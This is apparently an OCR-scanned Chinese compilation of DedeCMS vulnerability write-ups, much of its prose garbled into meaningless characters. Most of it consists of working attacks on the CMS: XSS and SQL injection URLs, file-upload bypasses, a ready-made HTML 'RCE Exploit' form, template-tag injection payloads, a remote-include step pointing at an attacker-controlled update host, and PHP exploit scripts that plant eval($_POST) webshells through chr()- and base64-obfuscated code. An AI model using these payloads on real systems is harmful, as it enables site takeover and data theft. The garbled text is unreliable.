[Dedecms WebSite]/dede/content_list.php?arcrank=[XSS]
[DedecmsWebSite]/dede/content_list.php?dopost=1istArchives&nowpage=1&totalresult=0&
arcrank=[XSS]&cid=[XSS/SQL]&keyword=[XSS]+&orderby=[XSS/SQL]&imageField=%CB%D1%CB%F
7

[Dedecms WebSite]/dede/content_list.php?channelid=[XSS]&cid=0&adminid=[XSS]

#Dedecms 5.x select_images.php EUGHIAEHRIE
mEEI

f SEIFTE xsso

[Dedecms WebSite]/ /dialog/select_images.php?f=[XSS]
#Dedecms 5. file_pic_view.php Euf B AZ KA
mEEI

Activepath Z$#77 XSS,
[Dedecms WebSite]/dede/file_pic_view.php?activepath=[XSS]

A B A%/ X R &/ 3 SEER/ XA M BR

#CVE-2018-20129—Dedecms V5.7 SP2 B & Xt & IRTE

imEAE I
HEARRFIL, DAEEERNMR, RAEELEXHERRRE.. FASRFOFHAN
RAEFDERER, REET—IXE. /i NHNRERN_ EEE AR,
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EER=
(ATRRRHE)
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TS
it Eanra e Bo Bly= o=
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Rir b, EFRASFN—EERAARD XM

Be =g Le =R

Lermanl Eate:

R burp TEINE, ¥ 1jpg A 1.jpg.prhp
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Go Cancel X

Request

<ivl IS Target: hitp:/Mocalhost [ZJ 3
Response
ﬂ Params | Headers | Hex I Raw

DedeUserID__ckMd5=1174£36217295854;
DedelLoginTime=1545236002;
DedeLoginTime__ ckMd5=199df31£11700be0;
ENV_GOBACK_URL=%2Fdede$ZFmember%ZFconten
t_list.php%3Fchannelid%3D1

Connection: close

—————— WebKitFormBoundaryBjFuj4bPeRLzyEwK
Content-Disposition: form-data;
name="upload"; filename="1.jpg.p*hp"
Content-Type: image/jpeg

00000x1 £00MMO* 0000000000000000000000000
0000000000000000002000000000v 0000000000
0000000?000100002018:4:15
22:14:190{"shal":"93206e6adb28c9e3f2614f
54Z1bdadZbc7d7d578", "ext" : “"jpg" | 00000000
000D000000000¢ pO00000000000000000Z2018:0

T

BENEKRKEEEHEE, I getshell 7, FHRE T KRS

<|» >|r

Go Cancal

Request

Target: http://localhost [ij 2

Response

Mmm]mx]m]m]

DedeLoginTime=1545236360;
DedeLoginTime ckMd5=4888b5bc84638637;
last_vtime=1545236370;

last_vtime_ ckMdS5=95cchb9dd044f0829;
last_vid=admin;

last_vid_ ckMdS5=4b29a85€ad405ae52
Connection: close

------ WebKitFormBoundaryAhGJIvEHqOq3cdEIR
Content-Disposition: form-data;
name="upload"; filename="1.jpg.p*hp"
Content-Type: image/jpeg

00000x41 £00M«O*000CO00000000000000000000
0000000000000000002000000000vV0O000000000
0000000?000i00002018:4:15
22:14:190("shal":"93206e6adbZ8c9e3f2614€

HTTP/1.1 200 OK

Date: Wed, 19 Dec 2018 16:22:14 GMT
Server: Apache/2.4.33 (Winé4) PHP/5.6.35
¥-Powered-By: PHP/5.6.35

ExXpires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache,
must-revalidate, post-check=0,
pre-check=0

Pragma: no-cache
Content-Length: 140
Connection: close
Content-Type: text/html; charset=utf-8
<script
type="text/javascript">window.parent.CKE
DITOR.tools.callFunction (2,

' /dede/uploads mg/181220/1-192200022

5421bdadZbc7d7d578", "ext" : "jpg" 00000000 14I5.php', '');</script>
- N
BHEXTEEFRE, HANEE
’
m (i Localhost + =X
Qcy v iERm FHiM 2018-12-20 +—F+M
127.0.0.1 BR08), T g el Fal Et B B samed)
R | 3 $Reoyole Bin 20181122 21:21:42 © 0777 2|
= ) waapdd E Typel
P £3 Intel 2018-11-22 18:5428 0 0777 T @i
£ $Recyele. Bin 3 winGh 2018-11-26 06:21 58 O 0777 | REER
3 Tatal 3 BvIDTa 2018-11-22 21:46:38 0 0777
g :;I‘:;A 3 Parflogs 20180915 07:33 50 0 0777
& PerfLogs £ Progran Files 2018-12-10 19:27:16 8192 0565
& Progran Files ) Frogran Files (x88) 2018-12-14 06.64 23 3192 0555
Q Eropras Filez (x86) €3 Prozranata 2016-12-09 08:40-24 12288 07y
) Frograalata
B Python2? &) Eythonz? 2015-11-24 01:34:01 4026 0777
&3 Pythen3? 3 Eython3? 2018-11-24 01:32:42 409 0777
) Recovary ) Recovery 2018-11-22 18:30.13 © 0777
¥, 9 =
g z’:::" TR 3 Systen Volune Infornstion 20181122 10:35-44 0777
& Mindovs 0 User= 2018-11-22 19:1 0885
S D £ wanpfd 2018-11-24 0t S 0777
@ 3 Mindeows 2018-12-12 16:00 04 28672 0777
[ suan 2018-11-23 22:14°32 2154240 0448
[} anrac. 528 2018-11-22 20065 23 1024 066
™ w el i

SEXE
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https://mp.weixin.qg.com/s/PCg973wOTeVYvb8-b6R3ZA

#Dedecms 5.6 /plus/carbuyaction.php A8 2I%E

poNCEE)

S# code FEXHBEE

http://127.0.0.1/
plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg

windows R %t

1. IIS BEFLE apache hRAT php SR GEATLAH T ZEMT, TTLUET
[1117717117777777711117117111117717 G&FL) 1SS S ST d TS0 (BEF
/.) EATE,

2. FRAUULE—MEUHERETE php (UBNE R, AEEM—TEFLE, N EEE
uploads/userup/2/12Ka5357-c53.jpg, FE2aILAEISAE:

http://127.0.0.1/
plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-

C53.3pg// /1111111111777 7 0777777777777 777 777777777777 7777777777777777771177717
LITITTITTITT TP 7 7777070777777 7 7777777777777 77777777777777177171777
[117117111171111111111111111 (&F/)

NABFRTBEHAT 12Ka5357-c53. jpg FRIER php {L53, MMMIAZINERIERT,

linux &%t

1. apache FEhRA php MHRFEIFIKEEMT, T=2ME windows T, FTLUBY
[1117717717777777717117117171117717 G&FL) 1SS A A A ST (BEF
/.) FATEL,

M A7 AR windows :

2, FRAULE—BEOEETEER php VIBHNE R, AEEM—AFLE, i tEs)
uploads/userup/2/12Ka5357-c53.jpg, FE2aILABISAR:

http://127.0.0.1/
plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-

C53.3pg// /1111111111171 777 77707777777 777777777777777777777777777777777777771717777
LITTTTITT I 7077777717777 7 0777777770777 7777777077777717777171777717
[111117111171111111111111111 (&F/)

NIABFRTBEHNAT 12Ka5357-c53. jpg FHRIER php 53, MNMHIAZINRRIERT.

SEXE
http://blog.sina.com.cn/s/blog ec459d060102wozd.html

#4248 (Dedecms)V5.6 TR LMK IRIE

imEAR I
S oldface FAZEXMHHMIBRIER, BHTHRS, RBEMER jpg. gif . png XMt


https://mp.weixin.qq.com/s/PCg973wOTeVYvb8-b6R3ZA
http://blog.sina.com.cn/s/blog_ec459d060102wozd.html
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http://ssvdb.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../..
/../member/templets/images/m_logo.gif

SEXE
https://www.seebug.org/vuldb/ssvid-19893

#select_soft_post.php T E & ERX¥IEFE

REEM
HiREH FBIIRE register_globals=on, o] &It HEX XE AHEXNTERE.
F AT pochtml RED)FHITIREZ, T B 1Ti& 50 R b it

<html>

<head>

<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>

</head>

<body style="FONT-SIZE: 9pt">---------- Dedecms v55 RCE Exploit Codz By flyh4t-----

————— <br /><br />

<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php
method="POST' enctype="multipart/form-data" name='myform'>

<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg basedir' value='../../' />

<input type='hidden' name='cfg_imgtype' value='php' />

<input type='hidden' name='cfg not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />

<input type='hidden' name='cfg_mediatype' value='php' />

<input type='hidden' name='f' value='forml.enclosure' />

<input type='hidden' name='job' value='upload' />

<input type='hidden' name='newname' value='fly.php' />

Select U Shell <input type='file' name='uploadfile' size='25" />
<input type='submit' name='sbl' value='ffixE' />

</form>

<br />It's just a exp for the bug of Dedecms V55...<br />

Need register_globals = on...<br />Fun the game,get a webshell at
/data/cache/fly.php...<br />

</body>

</html>

SEXE
http://huaidan.org/archives/3386.html
https://www.seebug.org/vuldb/ssvid-12518



https://www.seebug.org/vuldb/ssvid-19893
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#DEDECMS Muf EE R %A Get Shell J§HE

AR

B ERBRFA Loif

Gif89a{dede:field name='toby57"' runphp="'yes'}

phpinfo();

{/dede:field}

Wi L3RR, LERERRFA/uploads/userup/3/1.gif

<form action="http://192.168.1.5/DedeCmsV5.6-GBK-
Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data"
">
<input type="hidden" name="aid" value="7" />

<input type="hidden" name="mediatype" value="1" />

<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-
Final/uploads/uploads/userup/3/1.gif" /></br>

<input type="hidden" name="dopost" value="save" />

<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>

<button class="button2" type="submit" >09</button>

</form>

REXE, REHEENRENT!

<form action="http://192.168.1.5/DedeCmsV5.6-GBK-
Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />

<input type="hidden" name="aid" value="2" />

<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />

<input type="hidden" name="oldlitpic" value="" />

<input type="hidden" name="sortrank" value="1282049150" />

<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100"
class="intxt"/>

<input type="text" name="writer" id="writer" value="123456" maxlength="100"
class="intxt" style="width:219px"/>

<select name='typeid' size='1'>

<option value='1"' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1">

<option value='0' selected>+ é{...</option>

<option value='1"' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">

<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">

<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
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<button class="button2" type="submit">Pr</button>

</form>

SEXE
https://www.seebug.org/vuldb/ssvid-20049

#Dedecms FFTHRAEE getshell

mAEH
JER=laiZ

~ HRRE W 5% > B
o MIFEEWE » HHRER FiL e
o ITERNR __
o FWEMEE
o HATRNE BEmE: sk dklh] ) 75 (c] () £6T0 ) 449%(a) | iR
o iFipEE
o ASEME @ TAGHGEE:

~ AEWE

o DEEE +
o SillxE +
o BAE +
o i
o @
o THEE +

EENE R IR N LA R NS

- Mt

o s

o B BEETE

o RETEERE
- WEEE
- e B
~ RgEEm

FEERE

POST /dedecms/include/dialog/select_images_post.php?CKEditor=body&CKEditorFuncNum=2&langCode=z
h-cn HTTP/1.1

Host: * K ok ok ok Rk

Content-Length: 42880

Cache-Control: max-age=6©

Origin: http://**¥rsrs

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 1@_12 6) ApplelebKit/537.36 (KHTML, like Ge
cko) Chrome/57.6.2987.98 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZNrPDjZXsDjHXAY]

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;q=0.8

Referer: http://*****/dedecms/dede/archives_add.php?channelid=6&cid=6

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8

Cookie: ***

Connection: close

------ WebKitFormBoundaryZNrPDjZXsDjHXAYJ
Content-Disposition: form-data; name="upload"; filename="test.jpg"
Content-Type: image/jpeg

EE T2 2 2

------ WebKitFormBoundaryZNrPDjZXsDjHXAYI--

SRIE1E filename &5 —T


https://www.seebug.org/vuldb/ssvid-20049
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eferst:
sttp: /4l g @ “dedecms/dede farchives_add. phpichannelid=6s «script
:id=0 type-"text/javascript’>vindov parent CKEDITOR tools callFunc

iccept-Encoding: gzip, deflate
iccept-Language: zh-CN,zh,;¢=0.8

lockie: PHPSESSID-ecgZénkahppsifqméatksqui?z;
_csrf_name_06862244=711d166162851f6eab77c2e3a%6falz; I
“csrf_name_06862244__ckMdS5=d50bf981dc165d0a; DedeUserID=1;
jedeUserID_ ckMdS5-adB3655a34c8d19E

JedeLoginTime=1506308240;

JedeLoginTime_ ckMdS=0a5{652e290030¢8;
INV_GOBACE_URL-%ZFdedecms%ZFdede%ZFcontent list php%3Fchammel
1d%3D6

lonnection: close

‘ldedec:ms/uploads/ﬂllinl;/l?lmzsfl -1F92511063Z1E.php',
') ;< /scripts>

-—-——Web[(:.tl-‘ormﬂouma yZNrPDIZXSDIHEATYI
‘ontent-p L5pos a; name="upload”;
filename

ontent-

<7php

shpinfof)

I

RIFVAIEIERIE

SEXE
https://www.seebug.org/vuldb/ssvid-96574

#Dedecms v5.5 final getwebshell exploit(datalistcp.class.php)
YN £
Php FRA POC

<?php
print_r("

if ($argc < 3) {
print_r("


https://www.seebug.org/vuldb/ssvid-96574
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Usage: php '.$argv[@].' host path

host: target server (ip/hostname)
path: path to Dedecms
Example:

php '.$argv[@].' localhost /Dedecms/

error_reporting(7);

ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];
$post_a =

'plus/digg _ajax.php?id=1024e10248&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr
(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr
(116) .chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112)
.chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(9
5).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(120).chr(39).chr(93).chr(41)
.chr(59).chr(63).chr(62));/*';

$post_b = 'needCode=aa/../../../data/mysql_error_trace';

$shell = 'data/cache/t.php';

get_send($post_a);
post_send('plus/comments_frame.php',$post_b);
$content = post_send($shell, 't=echo tojen;');

if(substr($content,9,3)=="200"){
echo "\nShell Address is:".$host.$path.$shell;
}else{
echo "\nError.";
}
function get_send($url){
global $host, $path;
$message = "GET ".$path."$url HTTP/1.1\r\n";

$message .= "Accept: */*\r\n";

$message .= "Referer: http://$host$path\r\n";

$message .= "Accept-Language: zh-cn\r\n";

$message .= "Content-Type: application/x-www-form-urlencoded\r\n";

$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1;
SV1)\r\n";

$message .= "Host: $host\r\n";
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}

$message .=

"Connection: Close\r\n\r\n";

$fp = fsockopen($host, 80);

if(1$fp){

echo "\nConnect to host Error";

}

fputs($fp, $message);

$back = '';

while (!feof($fp))

$back .
fclose($fp);

fread($fp, 1024);

return $back;

function post_send($url,$cmd){

global $host, $path;
$message = "POST ".$path."$url HTTP/1.1\r\n";

$message .=
$message .
$message .
$message .

$message .

SV1)\r\n";

$message .
$message .
$message .

$message .

"Accept: */*\r\n";

"Referer: http://$host$path\r\n";

"Accept-Language: zh-cn\r\n";

"Content-Type: application/x-www-form-urlencoded\r\n";

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1;

"Host: $host\r\n";

"Content-Length: ".strlen($cmd)."\r\n";
"Connection: Close\r\n\r\n";

$cmd;

$fp = fsockopen($host, 80);

if(1$fp){

echo "\nConnect to host Error";

}

fputs($fp, $message);

$back = '';

while (!feof($fp))

$back .
fclose($fp);

fread($fp, 1024);

return $back;
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SEXE
https://www.seebug.org/vuldb/ssvid-24262

YT/ HMTT

#4878 (Dedecms)5.3 — 5.5 plus/digg_frame.php FEAIRIE

mEE I

1. ipie) RdE:

http://www.abc.com/plus/digg frame.php?action=good&id=1024%651024&mid=*/eval($_POST
[x]);var_ dump(3);?>

AENERER

2. ifia] http://www.abc.com/data/mysql_error_trace.php BEEIIX TERIUEEARINT »
int(3) Error: Illegal double '1024e1024' value found during parsing Error sql:
Select goodpost,badpost,scores From “gxeduw_archives™ where id=1024e1024 limit 0,1;
*/ P>

3. #47 dederar BAIXXMF testhtml, & form H action FyHhiER

<form action=" http://www.abc.com/data/mysql_error_trace.php” enctype="
application/x-www-form-urlencoded” method=" post” >

RHERNEDE 2 PERNEERTXMHARS LEMI.

SEZENE https://blog.csdn.net/gmnet/article/details/7304743

#Dedecms 5.7 SP1 /install/index.php =& B 4 iwE

mEEIR

£ B CBRS#84R B R B3z Dedecms B3k, #AG7E Bk FEIL demodata.a.txt($s_lang &
BEHNARNEH

<?php

phpinfo;

T E]X A url:
http:

X2 1ERABE] http://updatenew.Dedecms.com/base-v57/Dedecms/demodata.a.txt FREX A
BENZF| config_update.php, demodata.a.txt 20 T&l:


https://www.seebug.org/vuldb/ssvid-24262
https://blog.csdn.net/gmnet/article/details/7304743
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e requesiad URL /base v 5 /dedecmy/demadalo.o. el wos not found on T sorvwer

i8] PoC Z & config_update.php X4R AT

MW EditPlus - [D:\web\dede5.7_spliuploads\dataladmin\config update. phpl

/‘ File Edit View Search Document Project Tools Browser Zen Coding Window Help

[T dQ|l=mPo|d -0x|9C|o i dnw=lavsA@:

| @B ruUAidims 1H|@E= 26 |TTmiT|Adavse|J o]l
Directory | Cliptext | | + 1 B 2 + 3 + 4 + 5
J
[T wl:
. C:A
= | Documents and Settings
=] | Administrator
SR
| apktooll.5.2
. HA_FCEUX222R3021

. PHP Bug Scanner
| Seay PHP{UIREEI

X#¥f updataHost TEEEXBREMBLT, ZBFRMNEEHARMTULEFAT . XEH
AT ERXAS url HOIs:
http://192.168.204.135/install/index.php.bak?step=11&insLockfile=a&s lang=a&install
demo name=../data/tang3.php&updateHost=http://192.168.1.1/

//192.168.1.1 %5 & 1 demodata.a. txt LIRSS 2=

1518] http://192.168.204.135/data/tang3.php, MR TE



http://192.168.204.135/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/tang3.php&updateHost=http://192.168.1.1/
http://192.168.204.135/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/tang3.php&updateHost=http://192.168.1.1/
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T TR Y08 TR A A eyt

SEXE
https://www.seebug.org/vuldb/ssvid-89362
https://www.seebug.org/vuldb/ssvid-89354

SEXE
https://www.seebug.org/vuldb/ssvid-89354

#Dedecms v5.6 EAEBERIERTRE

AR

MR, EERMA, AR RIREA

a{/dede:link}{dede:toby57 name\=&quot;']=0;phpinfo();//&quot;}x{/dede:toby57}
REFFEBEIELR T

HEREAUTAZE, WA webshell

a{/dede:link}{dede:toby57

name\=&quot; ']=0; fputs(fopen(base64_decode(eC5waHA),w),base64_decode (PD9waHAgZXZhbC
gkX1BPU1RbeG1lhb1@pPz5iYW1kdQ));//&quot; }x{/dede:toby57}

AR x.php FRL: xiao BIEAE N —A1E. B xiao AKER

SEXNE

https://www.seebug.org/vuldb/ssvid-20352

#Dedecms v5.1 WriteBookText() code injection vul

mAE
ARERSHARSZARG MEAEBERER XK.
MATTE

http://www.target.com/member/story_add_content_action.php?body=eval($_POST[c]);&cha
pterid=1
XPEFLTE data/textdata/ B3 TAER/NG .  ERIAA data/textdata/1/bkl.php


https://www.seebug.org/vuldb/ssvid-89362
https://www.seebug.org/vuldb/ssvid-89354
https://www.seebug.org/vuldb/ssvid-89354
https://www.seebug.org/vuldb/ssvid-20352
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MmEEF http://www.taget.com/data/textdata/1/bkl.php BB 1ERETT. RIE—K%
RINEBER—BIIE, TREMBEFEMN bk2.php, PUILHEH.

SEXE

https://www.seebug.org/vuldb/ssvid-3249
https://blog.csdn.net/hackcode/article/details/2715155
http://blog.chinaunix.net/uid-28997055-id-4290330.html

#Dedecms 5.7 K B EEHIF AN IS TE(getshell)

PNk

% Eexp

<?php

//print_r($_SERVER);

$referer = $ SERVER['HTTP_REFERER'];

$dede_login = str_replace("friendlink_main.php","",$referer);//Eg
friendlink_main.php, EY{8 dede FEMIEERR

//#t exp
$muma =
IR Y O Y-SR VAT T TN (P SO = BT o R IR I Y G N L I

$exp = "tpl.php?action=savetagfile&actiondo=addnewtag&content=".

$muma .'&filename=shell.lib.php";

$url = $dede_login.$exp;

//echo $url;

header("location: ".$url);

// send mail coder

exit();

?>

B, BXD exp BBEEMRNRS R L, SARRDREE N2 ip, RRIREY url A
http://www.xxxx.com/exp.php” 7& BRI A RIEA 1§ SE AL FRIE— D AU BBk


https://www.seebug.org/vuldb/ssvid-3249
https://blog.csdn.net/hackcode/article/details/2715155
http://blog.chinaunix.net/uid-28997055-id-4290330.html
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OGoogle SRS %

OFRYAS aOisE
OHEES
R agaw
MW oFE Al
HEMR_FETBRM NSRS Al.##i!ﬂlﬂﬁl#‘
~Mwn Datang com
¥ RS LYo
NG e
Mt : hetp:// www.000ccom/exp.php
EeR - B uWMFENFL
FsLogo ; (88*31 QfFjpQ)
AR -
E¥Emad ;
R - CILTN
RER : FUN FLI N
az | [ mam |
REXZEEFFEEREZ, YBEEAFZE, —RBEATSRRRNNGE—F
BRI T 7E Fé—)) BE—) RS —) KIEHEE
s - e AWEane
e e e~
I e |
!l‘ » WRIAAS 3% P & AL SEnail
k3 - VN a L8 T ERFRFBS X
- L ESTRIE () ot b el B Bl Ay
: . e O aagu 0
AL 0 DRI =4
i "f:::' = OURriE w6
S| ke = w3toeRr
& L asan (8] (DAl EEW
E o b o BASIT # 1 Hesie®
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Y XN A IESEENEHME, SR T —A1E shell, shell #i31E 7 //include/taglib/shell lib.php

F @ ndo=addnewtag&content=<?@eval($ POST &filename=she Ve ¢
Most Visited @ Getting Started | [7] 100 & 90sec

BEBNEHER - > MA/RRGE

R/ SRR

MEEE | (RPN AR TETLND

BIERMA T — Mt

http://127.0.0.1/Dedecms-V5.7-UTF8-SP1-
Full/uploads/dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?@eval($
_POST[%27c%27]); ?%3E&filename=shell.lib.php

XNEEREN AEEANNRAER T —0)1E
e json.lib.php
likearticle.lib.php
lik i
loop.lib.php
harirfoss il o
memberlist.lib.php

myad.lib.php
mynews.lib.php
mytag.lib.php

shell.lib.php

SEXE

http://www.webbaozi.com/dmsj/45.html

#Dedecms 5.7 soft-edit.php KRIBHITIRIE

mEEIN
N EEEE AR http//www.haol23.com EEEIETT, HNINKIE, BR#ENE
BUSTE B


http://www.webbaozi.com/dmsj/45.html
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http://www.haol23.com}x{/dede:1link}{dede:a
text'=x"']=0;eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(34).chr(36).chr(95)
.chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).ch
r(59));// }xxxx{/dede:a}{dede:1link}xxx

HE, REFIZ 7 xx , 2R TSt IEWANT o SR AT 8 2 Beh 577!

hitp://192.168.121.1 _edit. 108

[ Enable Post data [ ] Enable Referrer
c=phpinfo(;

77y

il

eV quey_st

[remberTacte etz siorebametis-itatemios

!55]!

Trote ediz. oo

T bt ot

EE il BR @

PHP License
[s srozram i3 free sofivaze: you can rediveeibute 1% and/er mdify 1t Gader The veres of the PP Lizenss 23 published by the P9 G
ow 2= factuded in the diseribution in e file: LICENSR
[is srozras i diseribered ia the hope thac 52 will be useful. bue FITHONT AFF TARMANTY: withost even che imlied varvansy of MERCE
forzasiary or rimvess 2om & amzciLas Fmeose.
£ 7ou 464 ot receive a copy of the PP licease. o have axr suestions abost PP licensing. slease comtast licesseloho ort.

1

i

B b, admn (RE] EHS A AERL SATE WEt Oxg

DEDECAAS =Rt

WERL ke RERE

WP
o FRBANE
e SRR
Bx=

SEXE
http://www.520ve.com/?p=1992
https:.//www.secpulse.com/archives/23012.html|

#Dedecms 5.7 &I 1IEE

REEN
AT EXP o fii&, shell #htlk A /plus/dst.php, BBEGH cmd
<?php

//author : ZEk
//date : 2012-03-21 ©0:31:05

//shell —&JE#E4f, /plus/dst.php Z45 cmd
//www. t.com/dede/plus/car.php

error_reporting(E_ERROR);
set_time_limit(9);

$url = 'www.t.com'; // Bk url

$dir = '/dede'; //dedecms ZZEHR

//$content = '$a=${@phpinfo()};";
$content = '$a=${@file_put_contents("dst.php","<?php eval(\$_POST[cmd]); ?>")};";

$data = "POST $dir/plus/car.php HTTP/1.1\r\n";


http://www.520ve.com/?p=1992
https://www.secpulse.com/archives/23012.html
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$data .= "Host: localhost\r\n";

$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101
Firefox/5.0.1\r\n";

$data .= "Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";

$socket=fsockopen($url, '890");
if ($socket) {
fwrite($socket,$data);
while (!feof($socket)) {
$exp.=fgets($socket, 1024);
}
echo $exp;
Yelse{

echo 'socket err';

?>

SEXE
https://www.webshell.cc/3413.html

#Dedecms V5.7 JF A FIR4AL getshell CVE-2018-9175)

iR =

1. &

EBASAN inc X, REEHMH include IBAF, BE 7 EENRMHM getshell,
TR, A
http://localhost/Dedecms/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=1
238&refiles[1]=\%22;eval($_GET[a]);die();//

BERSE A shell BT, fig%k shell §83240T

http://localhost/Dedecms/uploads/dede/sys_verifies.php?action=down&a=phpinfo();

< c 0 Iocalhost/dod(\(mG/CIodO/ch_writioc.php.’a(tion_downﬂfa_orho:ﬂ-’,-XUha(k(\dbykovi[;‘

hackedbykevil

2. BT
FEATEREEESARE, REXHATNEEERE
HEI TR, BA


https://www.webshell.cc/3413.html
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http://localhost/Dedecms/uploads/dede/stepselect_main.php?action=addenum_save&ename
=23348&egroup=;phpinfo();$&issign=1

OB php |ENT 83EE, NERSEE, EIUBEAXXMG, SXHurl T
http://localhost/Dedecms/uploads/dede/sys_cache_up.php?step=2&egroup=a=1;phpinfo();
&dopost=ok

SEXE
https://xz.aliyun.com/t/2237
https://www.cnblogs.com/WhiteHatKevil/p/10226726.html

#Dedecms V5.6 Final sk B 17IRE

mAEH
1 B — RIS

AM—AA #ANBFEEESR AR—EXE, LE—TER, ARENGEER, £
B R BH®ABNEOEENRR, tLnE R BRE:
uploads/userup/2/120MX04-15A.jpg

BIRNEE (MREHEREX, 50 gifsda):

{dede:name runphp="yes'}

$fp = @fopen(&quot;1.php&quot;, 'a');

@fwrite($fp,

'&lt; ", '?php'.&quot;\r\n\r\n&quot;. 'eval($ _POST[cmd])"'.&quot;\r\n\r\n?&quot;.&quot;
&gt;\r\n&quot;);

@fclose($fp);

{/dede:name}

2BBNREFRNNE, EFRXM, HWE—RE:

<form class="mTB10 mL1@ mR1@" name="addcontent" id="addcontent"
action="http://127.0.0.1/dede/member/article_edit.php" method="post"
enctype="multipart/form-data" onsubmit="return checkSubmit();">

<input type="hidden" name="dopost" value="save" />

<input type="hidden" name="aid" value="2" />

<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />

<input type="hidden" name="oldlitpic" value="" />

<input type="hidden" name="sortrank" value="1275972263" />

<div id="mainCp">

<h3 class="meTitle"><strong>(8XE</strong></h3>

<div class="postForm">

<label>#rER: </label>


https://xz.aliyun.com/t/2237
https://www.cnblogs.com/WhiteHatKevil/p/10226726.html
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<input name="title" type="text" id="title" value="11233ewsad" maxlength="100"

class="intxt"/>

<label>#R& TAG: </label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100"

class="intxt"/>(FIES D)

<label>{E&: </label>
<input type="text" name="writer" id="writer" value="test" maxlength="100"

class="intxt" style="width:219px"/>

<label>FEFE=H: </label>
<select name='typeid' size='1'>

<option value='1' class='option3' selected="">iFt<E</option>

</select> <span style="color:#F00">*</span> (A BEEGIFHEMENDE)

<label>FH9952E: </label>

<select name='mtypesid' size='1'>

<option value='0' selected>iF\IEIEHZE. . .</option>

<option value='1"' class='option3' selected>hahahha</option>

</select>

<label>SEIFE: </label>
<textarea name="description" id="description”>1111111</textarea>

(RBHIEERE)

<label >45HRE: </label>
<input name="litpic" type="file" id="1litpic"

onchange="SeePicNew('divpicview',this);" maxlength="100" class="intxt"/>

<input type='text' name='templet’

value="../ uploads/userup/2/120MX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;"> (IXEiE)

</div>

<!-- ZFEEERE(EIXI -->
<h3 class="meTitle">IFMHEE</h3>

<div class="contentShow postForm">

<input type="hidden" id="body" name="body" value="<div><a
href="http://127.0.0.1/dede/uploads/userup/2/120MX04-15A.jpg" target="_blank"><img
border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/120MX04-15A.jpg"
width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>"
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style="display:none" /><input type="hidden" id="body_ __ Config"
value="FullPage=false" style="display:none" /><iframe id="body__ Frame"
src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member

width="100%" height="350" frameborder="0" scrolling="no"></iframe>

<label>ISiFS: </label>

<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt"
style="width:50px;text-transform:uppercase;"' />

<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="BEAR 5’ G ERE"

align="absmiddle" style="cursor:pointer" onclick="this.src=this.src+'?"'" />

<button class="button2" type="submit">¥23</button>
<button class="button2 ml1@" type="reset" onclick="location.reload();">E&</button>
</div>

</div>

R, RrESRY], WEMNELRINESHERER.

3RS A E:

BIRRIRMER A SCER] aid 24 2, WBMNRABZEHE:
http://127.0.0.1/dede/plus/view.php?aid=2

RIB] ATE plus B X T4 B webshell: 1.php
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# Dedecms 5.7 $_COOKIE &3R4 R

REEH
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25 Payload AL e KRG E

GET /dedecms/member/index. php?uid=0000001 HTTP/1.1 L HTTP/1.1 200 OK

Host: 127.0.0.1 Date: Wed, 20 Dec 2017 16:07:01 GMT

User—Agent: Mozilla/5.0 (Windows NT 10.0; Server: Apache/2.4.23 (Nin32) OpenSSL/1.0.2j

rv:52.0) Gecko/20100101 Firefox/52.0 PHP/5. 4. 45

